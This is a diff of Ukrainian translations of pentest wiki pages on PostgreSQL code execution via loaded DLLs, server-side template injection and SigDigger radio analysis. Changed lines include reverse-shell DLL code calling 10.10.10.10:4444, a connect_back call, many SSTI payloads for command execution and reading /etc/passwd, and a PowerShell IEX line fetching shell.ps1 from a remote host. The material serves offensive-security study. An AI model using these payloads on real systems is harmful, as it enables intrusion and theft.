З версії PostgreSQL 8.2 процес для зловмисника, щоб експлуатувати систему, став більш складним. Зловмисник повинен або використовувати бібліотеку, яка вже присутня в системі, або завантажити власну бібліотеку. Ця власна бібліотека повинна бути скомпільована для сумісної основної версії PostgreSQL і повинна містити специфічний "магічний блок". Ця міра значно ускладнює експлуатацію систем PostgreSQL, оскільки вимагає глибшого розуміння архітектури системи та сумісності версій.
|
||||
З версії PostgreSQL 8.2 процес для зловмисника, щоб експлуатувати систему, став більш складним. Зловмисник повинен або використовувати бібліотеку, яка вже присутня в системі, або завантажити власну бібліотеку. Ця власна бібліотека повинна бути скомпільована для сумісної основної версії PostgreSQL і повинна містити специфічний "магічний блок". Цей захід значно ускладнює експлуатацію систем PostgreSQL, оскільки вимагає глибшого розуміння архітектури системи та сумісності версій.
|
||||
|
||||
#### Скомпілюйте бібліотеку
|
||||
|
||||
@ -92,7 +92,7 @@ PostgreSQL 9.6.3 on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.0
|
||||
```
|
||||
Для сумісності важливо, щоб основні версії збігалися. Тому компіляція бібліотеки з будь-якою версією в серії 9.6.x повинна забезпечити успішну інтеграцію.
|
||||
|
||||
Щоб встановити цю версію у вашу систему:
|
||||
Щоб встановити цю версію у вашій системі:
|
||||
```bash
|
||||
apt install postgresql postgresql-server-dev-9.6
|
||||
```
|
||||
@ -164,17 +164,19 @@ ShellExecute(NULL, "open", GET_STR(PG_GETARG_TEXT_P(0)), NULL, NULL, 1);
|
||||
PG_RETURN_VOID();
|
||||
}
|
||||
```
|
||||
Ви можете знайти DLL, скомпільовану в цьому zip:
|
||||
Ви можете знайти скомпільований DLL у цьому zip:
|
||||
|
||||
{% file src="../../../images/pgsql_exec.zip" %}
|
||||
{{#file}}
|
||||
pgsql_exec.zip
|
||||
{{#endfile}}
|
||||
|
||||
Ви можете вказати цій DLL **який бінар виконати** і кількість разів, коли його потрібно виконати, в цьому прикладі вона виконає `calc.exe` 2 рази:
|
||||
Ви можете вказати цьому DLL **який бінар виконати** та кількість разів, коли його потрібно виконати, у цьому прикладі він виконає `calc.exe` 2 рази:
|
||||
```bash
|
||||
CREATE OR REPLACE FUNCTION remote_exec(text, integer) RETURNS void AS '\\10.10.10.10\shared\pgsql_exec.dll', 'pgsql_exec' LANGUAGE C STRICT;
|
||||
SELECT remote_exec('calc.exe', 2);
|
||||
DROP FUNCTION remote_exec(text, integer);
|
||||
```
|
||||
В [**тут** ](https://zerosum0x0.blogspot.com/2016/06/windows-dll-to-shell-postgres-servers.html) ви можете знайти цей реверс-шелл:
|
||||
В [**тут** ](https://zerosum0x0.blogspot.com/2016/06/windows-dll-to-shell-postgres-servers.html) ви можете знайти цей реверс-оболонку:
|
||||
```c
|
||||
#define PG_REVSHELL_CALLHOME_SERVER "10.10.10.10"
|
||||
#define PG_REVSHELL_CALLHOME_PORT "4444"
|
||||
@ -252,7 +254,7 @@ int32 arg = PG_GETARG_INT32(0);
|
||||
PG_RETURN_INT32(arg + 1);
|
||||
}
|
||||
```
|
||||
Зверніть увагу, що в цьому випадку **зловмисний код знаходиться всередині функції DllMain**. Це означає, що в цьому випадку не потрібно виконувати завантажену функцію в postgresql, просто **завантаження DLL** виконає зворотний шелл:
|
||||
Зверніть увагу, що в цьому випадку **зловмисний код знаходиться всередині функції DllMain**. Це означає, що в цьому випадку не потрібно виконувати завантажену функцію в postgresql, просто **завантаження DLL** виконає **зворотний шелл**:
|
||||
```c
|
||||
CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;
|
||||
```
|
||||
@ -260,11 +262,11 @@ CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\sha
|
||||
|
||||
### RCE в нових версіях Prostgres
|
||||
|
||||
У **найновіших версіях** PostgreSQL були введені обмеження, згідно з якими `superuser` **заборонено** **завантажувати** файли спільних бібліотек, за винятком певних каталогів, таких як `C:\Program Files\PostgreSQL\11\lib` на Windows або `/var/lib/postgresql/11/lib` на \*nix системах. Ці каталоги **захищені** від операцій запису як обліковими записами NETWORK_SERVICE, так і postgres.
|
||||
У **останніх версіях** PostgreSQL були введені обмеження, згідно з якими `superuser` **заборонено** **завантажувати** файли спільних бібліотек, за винятком певних директорій, таких як `C:\Program Files\PostgreSQL\11\lib` на Windows або `/var/lib/postgresql/11/lib` на \*nix системах. Ці директорії **захищені** від операцій запису як для облікових записів NETWORK_SERVICE, так і для postgres.
|
||||
|
||||
Незважаючи на ці обмеження, автентифікований `superuser` бази даних може **записувати бінарні файли** у файлову систему, використовуючи "великі об'єкти". Ця можливість поширюється на запис у каталог `C:\Program Files\PostgreSQL\11\data`, що є важливим для операцій бази даних, таких як оновлення або створення таблиць.
|
||||
Незважаючи на ці обмеження, автентифікований `superuser` бази даних може **записувати бінарні файли** у файлову систему, використовуючи "великі об'єкти". Ця можливість поширюється на запис у директорію `C:\Program Files\PostgreSQL\11\data`, що є важливим для операцій бази даних, таких як оновлення або створення таблиць.
|
||||
|
||||
Суттєва вразливість виникає з команди `CREATE FUNCTION`, яка **дозволяє перехід по каталогах** у каталог даних. Відповідно, автентифікований атакуючий може **використати цей перехід** для запису файлу спільної бібліотеки в каталог даних, а потім **завантажити його**. Цей експлойт дозволяє атакуючому виконувати довільний код, досягаючи виконання нативного коду на системі.
|
||||
Суттєва вразливість виникає з команди `CREATE FUNCTION`, яка **дозволяє перехід по директоріях** у директорію даних. Відповідно, автентифікований атакуючий може **використати цей перехід** для запису файлу спільної бібліотеки у директорію даних, а потім **завантажити його**. Цей експлойт дозволяє атакуючому виконувати довільний код, досягаючи виконання нативного коду на системі.
|
||||
|
||||
#### Потік атаки
|
||||
|
||||
@ -274,7 +276,7 @@ CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\sha
|
||||
big-binary-files-upload-postgresql.md
|
||||
{{#endref}}
|
||||
|
||||
Як тільки ви завантажили розширення (з назвою poc.dll для цього прикладу) у каталог даних, ви можете завантажити його за допомогою:
|
||||
Як тільки ви завантажили розширення (з назвою poc.dll для цього прикладу) у директорію даних, ви можете завантажити його за допомогою:
|
||||
```c
|
||||
create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;
|
||||
select connect_back('192.168.100.54', 1234);
|
||||
@ -282,8 +284,8 @@ select connect_back('192.168.100.54', 1234);
|
||||
_Зверніть увагу, що вам не потрібно додавати розширення `.dll`, оскільки функція створення додасть його._
|
||||
|
||||
Для отримання додаткової інформації **прочитайте**[ **оригінальну публікацію тут**](https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**.**\
|
||||
У цій публікації **був наведений** [**код для генерації розширення postgres**](https://github.com/sourceincite/tools/blob/master/pgpwn.c) (_щоб дізнатися, як скомпілювати розширення postgres, прочитайте будь-яку з попередніх версій_).\
|
||||
На тій же сторінці був наданий цей **експлойт для автоматизації** цієї техніки:
|
||||
У цій публікації **цей був** [**код, використаний для генерації розширення postgres**](https://github.com/sourceincite/tools/blob/master/pgpwn.c) (_щоб дізнатися, як скомпілювати розширення postgres, прочитайте будь-яку з попередніх версій_).\
|
||||
На тій же сторінці було надано **цей експлойт для автоматизації** цієї техніки:
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
import sys
|
||||
|
@ -4,9 +4,9 @@
|
||||
|
||||
## Що таке SSTI (Server-Side Template Injection)
|
||||
|
||||
Вплив шаблона на стороні сервера - це вразливість, яка виникає, коли зловмисник може впровадити шкідливий код у шаблон, що виконується на сервері. Цю вразливість можна знайти в різних технологіях, включаючи Jinja.
|
||||
Server-side template injection - це вразливість, яка виникає, коли зловмисник може впровадити шкідливий код у шаблон, що виконується на сервері. Цю вразливість можна знайти в різних технологіях, включаючи Jinja.
|
||||
|
||||
Jinja - це популярний движок шаблонів, що використовується у веб-додатках. Розглянемо приклад, який демонструє вразливий фрагмент коду, що використовує Jinja:
|
||||
Jinja - це популярний шаблонний движок, що використовується у веб-додатках. Розглянемо приклад, який демонструє вразливий фрагмент коду, що використовує Jinja:
|
||||
```python
|
||||
output = template.render(name=request.args.get('name'))
|
||||
```
|
||||
@ -18,16 +18,16 @@ http://vulnerable-website.com/?name={{bad-stuff-here}}
|
||||
```
|
||||
Пейлоад `{{bad-stuff-here}}` інжектується в параметр `name`. Цей пейлоад може містити директиви шаблону Jinja, які дозволяють зловмиснику виконувати несанкціонований код або маніпулювати движком шаблонів, потенційно отримуючи контроль над сервером.
|
||||
|
||||
Щоб запобігти вразливостям інжекції шаблонів на стороні сервера, розробники повинні забезпечити належну санітарну обробку та валідацію введених користувачем даних перед їх вставкою в шаблони. Реалізація валідації введення та використання технік ескейпінгу, що враховують контекст, можуть допомогти зменшити ризик цієї вразливості.
|
||||
Щоб запобігти вразливостям інжекції шаблонів на стороні сервера, розробники повинні забезпечити належну санітарну обробку та валідацію введених даних перед їх вставкою в шаблони. Реалізація валідації введення та використання технік ескейпінгу, що враховують контекст, можуть допомогти зменшити ризик цієї вразливості.
|
||||
|
||||
### Виявлення
|
||||
|
||||
Для виявлення інжекції шаблонів на стороні сервера (SSTI) спочатку **фуззинг шаблону** є простим підходом. Це передбачає інжекцію послідовності спеціальних символів (**`${{<%[%'"}}%\`**) у шаблон і аналіз відмінностей у відповіді сервера на звичайні дані в порівнянні з цим спеціальним пейлоадом. Ознаки вразливості включають:
|
||||
Для виявлення інжекції шаблонів на стороні сервера (SSTI) спочатку **фуззинг шаблону** є простим підходом. Це передбачає інжекцію послідовності спеціальних символів (**`${{<%[%'"}}%\`**) у шаблон і аналізування відмінностей у відповіді сервера на звичайні дані в порівнянні з цим спеціальним пейлоадом. Ознаки вразливості включають:
|
||||
|
||||
- Викинуті помилки, які виявляють вразливість і потенційно движок шаблонів.
|
||||
- Відсутність пейлоаду у відображенні або частини його відсутні, що вказує на те, що сервер обробляє його інакше, ніж звичайні дані.
|
||||
- **Plaintext Context**: Відрізняти від XSS, перевіряючи, чи сервер оцінює вирази шаблону (наприклад, `{{7*7}}`, `${7*7}`).
|
||||
- **Code Context**: Підтвердити вразливість, змінюючи вхідні параметри. Наприклад, зміна `greeting` у `http://vulnerable-website.com/?greeting=data.username`, щоб перевірити, чи є вихід сервера динамічним або фіксованим, як у `greeting=data.username}}hello`, що повертає ім'я користувача.
|
||||
- **Code Context**: Підтвердити вразливість, змінюючи параметри введення. Наприклад, зміна `greeting` у `http://vulnerable-website.com/?greeting=data.username`, щоб перевірити, чи є вихід сервера динамічним або фіксованим, як у `greeting=data.username}}hello`, що повертає ім'я користувача.
|
||||
|
||||
#### Фаза ідентифікації
|
||||
|
||||
@ -68,7 +68,7 @@ python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment
|
||||
|
||||
### Generic
|
||||
|
||||
У цьому **wordlist** ви можете знайти **змінні, визначені** в середовищах деяких з наведених нижче движків:
|
||||
У цьому **wordlist** ви можете знайти **змінні, визначені** в середовищах деяких з нижче згаданих движків:
|
||||
|
||||
- [https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt)
|
||||
- [https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt](https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt)
|
||||
@ -100,7 +100,7 @@ ${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().ex
|
||||
|
||||
- `{{7*7}} = {{7*7}}`
|
||||
- `${7*7} = 49`
|
||||
- `#{7*7} = 49 -- (спадковий)`
|
||||
- `#{7*7} = 49 -- (legacy)`
|
||||
- `${7*'7'} Нічого`
|
||||
- `${foobar}`
|
||||
```java
|
||||
@ -110,7 +110,7 @@ ${"freemarker.template.utility.Execute"?new()("id")}
|
||||
|
||||
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
|
||||
```
|
||||
**Freemarker - Обхід пісочниці**
|
||||
**Freemarker - обхід пісочниці**
|
||||
|
||||
⚠️ працює лише на версіях Freemarker нижче 2.3.30
|
||||
```java
|
||||
@ -150,12 +150,12 @@ $out.read()
|
||||
```
|
||||
**Більше інформації**
|
||||
|
||||
- У розділі Velocity [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
|
||||
- У розділі Velocity на [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity)
|
||||
|
||||
### Thymeleaf
|
||||
|
||||
У Thymeleaf загальним тестом на вразливості SSTI є вираз `${7*7}`, який також застосовується до цього шаблонного движка. Для потенційного віддаленого виконання коду можна використовувати такі вирази:
|
||||
У Thymeleaf загальним тестом на вразливості SSTI є вираз `${7*7}`, який також застосовується до цього шаблонного движка. Для потенційного віддаленого виконання коду можуть бути використані такі вирази:
|
||||
|
||||
- SpringEL:
|
||||
|
||||
@ -203,7 +203,7 @@ el-expression-language.md
|
||||
```
|
||||
**Обхід фільтрів**
|
||||
|
||||
Можна використовувати кілька змінних виразів, якщо `${...}` не працює, спробуйте `#{...}`, `*{...}`, `@{...}` або `~{...}`.
|
||||
Можна використовувати кілька виразів змінних, якщо `${...}` не працює, спробуйте `#{...}`, `*{...}`, `@{...}` або `~{...}`.
|
||||
|
||||
- Прочитайте `/etc/passwd`
|
||||
```java
|
||||
@ -319,7 +319,7 @@ Jinjava - це проект з відкритим кодом, розроблен
|
||||
- `{{request.getClass()}}` - class com.hubspot.content.hubl.context.TemplateContextRequest
|
||||
- `{{request.getClass().getDeclaredMethods()[0]}}` - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
|
||||
|
||||
Шукайте "com.hubspot.content.hubl.context.TemplateContextRequest" і знайдено [Jinjava project on Github](https://github.com/HubSpot/jinjava/).
|
||||
Шукайте "com.hubspot.content.hubl.context.TemplateContextRequest" і знайдено [Jinjava проект на Github](https://github.com/HubSpot/jinjava/).
|
||||
```java
|
||||
{{request.isDebug()}}
|
||||
//output: False
|
||||
@ -372,10 +372,10 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc
|
||||
- `${{7*7}}` - 49
|
||||
- `${{request}}, ${{session}}, {{faceContext}}`
|
||||
|
||||
Мова виразів (EL) є основною функцією, яка полегшує взаємодію між презентаційним шаром (як веб-сторінки) та логікою програми (як керовані боби) в JavaEE. Вона широко використовується в різних технологіях JavaEE для спрощення цієї комунікації. Основні технології JavaEE, що використовують EL, включають:
|
||||
Мова виразів (EL) є основною функцією, яка полегшує взаємодію між презентаційним шаром (як веб-сторінки) та логікою програми (як керовані боби) в JavaEE. Вона широко використовується в багатьох технологіях JavaEE для спрощення цієї комунікації. Основні технології JavaEE, що використовують EL, включають:
|
||||
|
||||
- **JavaServer Faces (JSF)**: Використовує EL для прив'язки компонентів на сторінках JSF до відповідних даних та дій на сервері.
|
||||
- **JavaServer Pages (JSP)**: EL використовується в JSP для доступу та маніпуляції даними на сторінках JSP, що полегшує з'єднання елементів сторінки з даними програми.
|
||||
- **JavaServer Pages (JSP)**: EL використовується в JSP для доступу та маніпуляції даними на сторінках JSP, що полегшує зв'язок елементів сторінки з даними програми.
|
||||
- **Контексти та впровадження залежностей для Java EE (CDI)**: EL інтегрується з CDI для забезпечення безперебійної взаємодії між веб-шаром та керованими бобами, що забезпечує більш узгоджену структуру програми.
|
||||
|
||||
Перегляньте наступну сторінку, щоб дізнатися більше про **експлуатацію EL інтерпретаторів**:
|
||||
@ -429,7 +429,7 @@ this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 1
|
||||
```
|
||||
**Більше інформації**
|
||||
|
||||
- У розділі Smarty на [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
|
||||
- У розділі Smarty [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty)
|
||||
|
||||
### Twig (PHP)
|
||||
@ -476,14 +476,14 @@ array("first_name" => $user.first_name)
|
||||
```
|
||||
**Більше інформації**
|
||||
|
||||
- У розділі Twig і Twig (Sandboxed) на [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
|
||||
- У розділі Twig та Twig (Sandboxed) на [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig)
|
||||
|
||||
### Plates (PHP)
|
||||
|
||||
Plates - це движок шаблонів, рідний для PHP, який черпає натхнення з Twig. Однак, на відміну від Twig, який вводить новий синтаксис, Plates використовує рідний PHP код у шаблонах, що робить його інтуїтивно зрозумілим для розробників PHP.
|
||||
|
||||
Контролер:
|
||||
Controller:
|
||||
```php
|
||||
// Create new Plates instance
|
||||
$templates = new League\Plates\Engine('/path/to/templates');
|
||||
@ -606,12 +606,12 @@ echo $t->finish($t->parse('OUT', 'authors'));
|
||||
```
|
||||
**Більше інформації**
|
||||
|
||||
- У розділі Jade [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
|
||||
- У розділі Jade на [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen)
|
||||
|
||||
### patTemplate (PHP)
|
||||
|
||||
> [patTemplate](https://github.com/wernerwa/pat-template) - це PHP шаблонізатор, що не компілюється, який використовує XML теги для поділу документа на різні частини.
|
||||
> [patTemplate](https://github.com/wernerwa/pat-template) - це PHP шаблонізатор, що не компілюється, який використовує XML теги для поділу документа на різні частини
|
||||
```xml
|
||||
<patTemplate:tmpl name="page">
|
||||
This is the main page.
|
||||
@ -666,11 +666,11 @@ URLencoded:
|
||||
|
||||
### JsRender (NodeJS)
|
||||
|
||||
| **Шаблон** | **Опис** |
|
||||
| ---------- | ---------------------------------------- |
|
||||
| | Оцінити та відобразити вихід |
|
||||
| **Шаблон** | **Опис** |
|
||||
| ---------- | -------------------------------------- |
|
||||
| | Оцінити та відобразити вихід |
|
||||
| | Оцінити та відобразити HTML-кодований вихід |
|
||||
| | Коментар |
|
||||
| | Коментар |
|
||||
| і | Дозволити код (за замовчуванням вимкнено) |
|
||||
|
||||
- \= 49
|
||||
@ -814,7 +814,7 @@ range.constructor(
|
||||
|
||||
[Офіційний сайт](http://jinja.pocoo.org)
|
||||
|
||||
> Jinja2 - це повнофункціональний шаблонний движок для Python. Він має повну підтримку юнікоду, необов'язкове інтегроване середовище виконання в пісочниці, широко використовується і ліцензований за BSD.
|
||||
> Jinja2 - це повнофункціональний шаблонний движок для Python. Він має повну підтримку юнікоду, необов'язкове інтегроване середовище виконання в пісочниці, широко використовується та ліцензований за BSD.
|
||||
|
||||
- `{{7*7}} = Error`
|
||||
- `${7*7} = ${7*7}`
|
||||
@ -887,7 +887,7 @@ ${x}
|
||||
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako)
|
||||
|
||||
### Інші Python
|
||||
### Інше Python
|
||||
|
||||
<figure><img src="../../images/image (2) (1).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*3RO051EgizbEer-mdHD8Kg.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*3RO051EgizbEer-mdHD8Kg.jpeg</a></p></figcaption></figure>
|
||||
|
||||
@ -900,7 +900,7 @@ ${x}
|
||||
- `@(2+2) <= Успіх`
|
||||
- `@() <= Успіх`
|
||||
- `@("{{code}}") <= Успіх`
|
||||
- `@ <= Успіх`
|
||||
- `@ <=Успіх`
|
||||
- `@{} <= ПОМИЛКА!`
|
||||
- `@{ <= ПОМИЛКА!`
|
||||
- `@(1+2)`
|
||||
@ -920,7 +920,7 @@ ${x}
|
||||
- `<%= 7*7 %>` = 49
|
||||
- `<%= "foo" %>` = foo
|
||||
- `<%= foo %>` = Нічого
|
||||
- `<%= response.write(date()) %>` = \<Дата>
|
||||
- `<%= response.write(date()) %>` = \<Date>
|
||||
```xml
|
||||
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>
|
||||
```
|
||||
@ -940,21 +940,21 @@ ${x}
|
||||
```
|
||||
### SSTI в GO
|
||||
|
||||
У шаблонному двигуні Go підтвердження його використання можна здійснити за допомогою специфічних payload:
|
||||
У шаблонному двигуні Go підтвердження його використання можна здійснити за допомогою специфічних payloads:
|
||||
|
||||
- `{{ . }}`: Відкриває структуру даних. Наприклад, якщо передано об'єкт з атрибутом `Password`, `{{ .Password }}` може його розкрити.
|
||||
- `{{printf "%s" "ssti" }}`: Очікується, що відобразить рядок "ssti".
|
||||
- `{{html "ssti"}}`, `{{js "ssti"}}`: Ці payload повинні повернути "ssti" без додавання "html" або "js". Додаткові директиви можна дослідити в документації Go [тут](https://golang.org/pkg/text/template).
|
||||
- `{{html "ssti"}}`, `{{js "ssti"}}`: Ці payloads повинні повернути "ssti" без додавання "html" або "js". Додаткові директиви можна дослідити в документації Go [тут](https://golang.org/pkg/text/template).
|
||||
|
||||
<figure><img src="../../images/image (8).png" alt="" width="375"><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg</a></p></figcaption></figure>
|
||||
|
||||
**Експлуатація XSS**
|
||||
**XSS Експлуатація**
|
||||
|
||||
З пакетом `text/template` XSS може бути простим шляхом вставлення payload безпосередньо. На відміну від цього, пакет `html/template` кодує відповідь, щоб запобігти цьому (наприклад, `{{"<script>alert(1)</script>"}}` призводить до `<script>alert(1)</script>`). Проте визначення та виклик шаблону в Go можуть обійти це кодування: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
|
||||
|
||||
vbnet Copy code
|
||||
|
||||
**Експлуатація RCE**
|
||||
**RCE Експлуатація**
|
||||
|
||||
Експлуатація RCE суттєво відрізняється між `html/template` та `text/template`. Модуль `text/template` дозволяє викликати будь-яку публічну функцію безпосередньо (використовуючи значення “call”), що не дозволено в `html/template`. Документація для цих модулів доступна [тут для html/template](https://golang.org/pkg/html/template/) та [тут для text/template](https://golang.org/pkg/text/template/).
|
||||
|
||||
@ -972,11 +972,13 @@ return string(out)
|
||||
|
||||
### Більше експлойтів
|
||||
|
||||
Перегляньте решту [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) для отримання більше експлойтів. Також ви можете знайти цікаву інформацію про теги в [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)
|
||||
Перевірте решту [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) для більше експлойтів. Також ви можете знайти цікаву інформацію про теги в [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)
|
||||
|
||||
## BlackHat PDF
|
||||
|
||||
{% file src="../../images/EN-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-BlackHat-15 (1).pdf" %}
|
||||
{{#file}}
|
||||
EN-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-BlackHat-15 (1).pdf
|
||||
{{#endfile}}
|
||||
|
||||
## Супутня допомога
|
||||
|
||||
|
@ -1,4 +1,4 @@
|
||||
# Радіо
|
||||
# Radio
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -6,7 +6,7 @@
|
||||
|
||||
[**SigDigger** ](https://github.com/BatchDrake/SigDigger) є безкоштовним аналізатором цифрових сигналів для GNU/Linux та macOS, призначеним для витягування інформації з невідомих радіосигналів. Він підтримує різноманітні SDR пристрої через SoapySDR і дозволяє регулювати демодуляцію FSK, PSK та ASK сигналів, декодувати аналогове відео, аналізувати сплески сигналів та слухати аналогові голосові канали (все в реальному часі).
|
||||
|
||||
### Основна конфігурація
|
||||
### Basic Config
|
||||
|
||||
Після встановлення є кілька речей, які ви можете розглянути для налаштування.\
|
||||
У налаштуваннях (друга кнопка вкладки) ви можете вибрати **SDR пристрій** або **вибрати файл** для читання та частоту для синхронізації, а також частоту дискретизації (рекомендується до 2.56Msps, якщо ваш ПК це підтримує)\\
|
||||
@ -20,23 +20,23 @@
|
||||
> [!NOTE]
|
||||
> Якщо ви помітили, що ваш ПК не захоплює сигнали, спробуйте вимкнути OpenGL і знизити частоту дискретизації.
|
||||
|
||||
### Використання
|
||||
### Uses
|
||||
|
||||
- Просто **захопіть частину сигналу та проаналізуйте її**, утримуючи кнопку "Push to capture" стільки, скільки потрібно.
|
||||
- Просто для **захоплення частини сигналу та його аналізу** просто утримуйте кнопку "Push to capture" стільки, скільки потрібно.
|
||||
|
||||
.png>)
|
||||
|
||||
- **Тюнер** SigDigger допомагає **захоплювати кращі сигнали** (але він також може їх погіршити). Ідеально почати з 0 і продовжувати **збільшувати**, поки **шум** не стане **більшим**, ніж **покращення сигналу**, яке вам потрібно).
|
||||
- **Тюнер** SigDigger допомагає **захоплювати кращі сигнали** (але він також може їх погіршити). Ідеально почати з 0 і продовжувати **збільшувати**, поки ви не знайдете, що **шум**, який ви вводите, є **більшим**, ніж **покращення сигналу**, яке вам потрібно).
|
||||
|
||||
.png>)
|
||||
|
||||
### Синхронізація з радіоканалом
|
||||
### Synchronize with radio channel
|
||||
|
||||
З [**SigDigger** ](https://github.com/BatchDrake/SigDigger)синхронізуйтеся з каналом, який ви хочете почути, налаштуйте опцію "Baseband audio preview", налаштуйте ширину смуги, щоб отримати всю інформацію, що надсилається, а потім встановіть Тюнер на рівень, перед тим як шум почне дійсно зростати:
|
||||
З [**SigDigger** ](https://github.com/BatchDrake/SigDigger) синхронізуйтеся з каналом, який ви хочете почути, налаштуйте опцію "Baseband audio preview", налаштуйте ширину смуги, щоб отримати всю інформацію, що надсилається, а потім встановіть Тюнер на рівень, перед тим як шум дійсно почне зростати:
|
||||
|
||||
.png>)
|
||||
|
||||
## Цікаві трюки
|
||||
## Interesting tricks
|
||||
|
||||
- Коли пристрій надсилає сплески інформації, зазвичай **перша частина буде преамбулою**, тому вам **не потрібно** **турбуватися**, якщо ви **не знайдете інформацію** там **або якщо там є деякі помилки**.
|
||||
- У кадрах інформації ви зазвичай повинні **знайти різні кадри, добре вирівняні між собою**:
|
||||
@ -45,32 +45,34 @@
|
||||
|
||||
.png>)
|
||||
|
||||
- **Після відновлення бітів вам, можливо, потрібно буде обробити їх якимось чином**. Наприклад, у манчестерській кодуванні підйом+спад буде 1 або 0, а спад+підйом буде іншим. Таким чином, пари 1 і 0 (підйоми та спади) будуть реальним 1 або реальним 0.
|
||||
- Навіть якщо сигнал використовує манчестерську кодування (неможливо знайти більше двох 0 або 1 підряд), ви можете **знайти кілька 1 або 0 разом у преамбулі**!
|
||||
- **Після відновлення бітів вам, можливо, потрібно буде обробити їх якимось чином**. Наприклад, у манчестерській кодуванні up+down буде 1 або 0, а down+up буде іншим. Таким чином, пари 1s і 0s (up і down) будуть реальним 1 або реальним 0.
|
||||
- Навіть якщо сигнал використовує манчестерську кодування (неможливо знайти більше ніж два 0s або 1s підряд), ви можете **знайти кілька 1s або 0s разом у преамбулі**!
|
||||
|
||||
### Виявлення типу модуляції з IQ
|
||||
### Uncovering modulation type with IQ
|
||||
|
||||
Існує 3 способи зберігати інформацію в сигналах: модуляція **амплітуди**, **частоти** або **фази**.\
|
||||
Якщо ви перевіряєте сигнал, є різні способи спробувати з'ясувати, що використовується для зберігання інформації (знайдіть більше способів нижче), але хороший спосіб - перевірити графік IQ.
|
||||
|
||||
.png>)
|
||||
|
||||
- **Виявлення AM**: Якщо на графіку IQ з'являються, наприклад, **2 кола** (можливо, одне в 0, а інше на іншій амплітуді), це може означати, що це AM сигнал. Це тому, що на графіку IQ відстань між 0 і колом - це амплітуда сигналу, тому легко візуалізувати різні амплітуди, що використовуються.
|
||||
- **Виявлення PM**: Як на попередньому зображенні, якщо ви знайдете маленькі кола, які не пов'язані між собою, це, ймовірно, означає, що використовується фазова модуляція. Це тому, що на графіку IQ кут між точкою та 0,0 - це фаза сигналу, тому це означає, що використовуються 4 різні фази.
|
||||
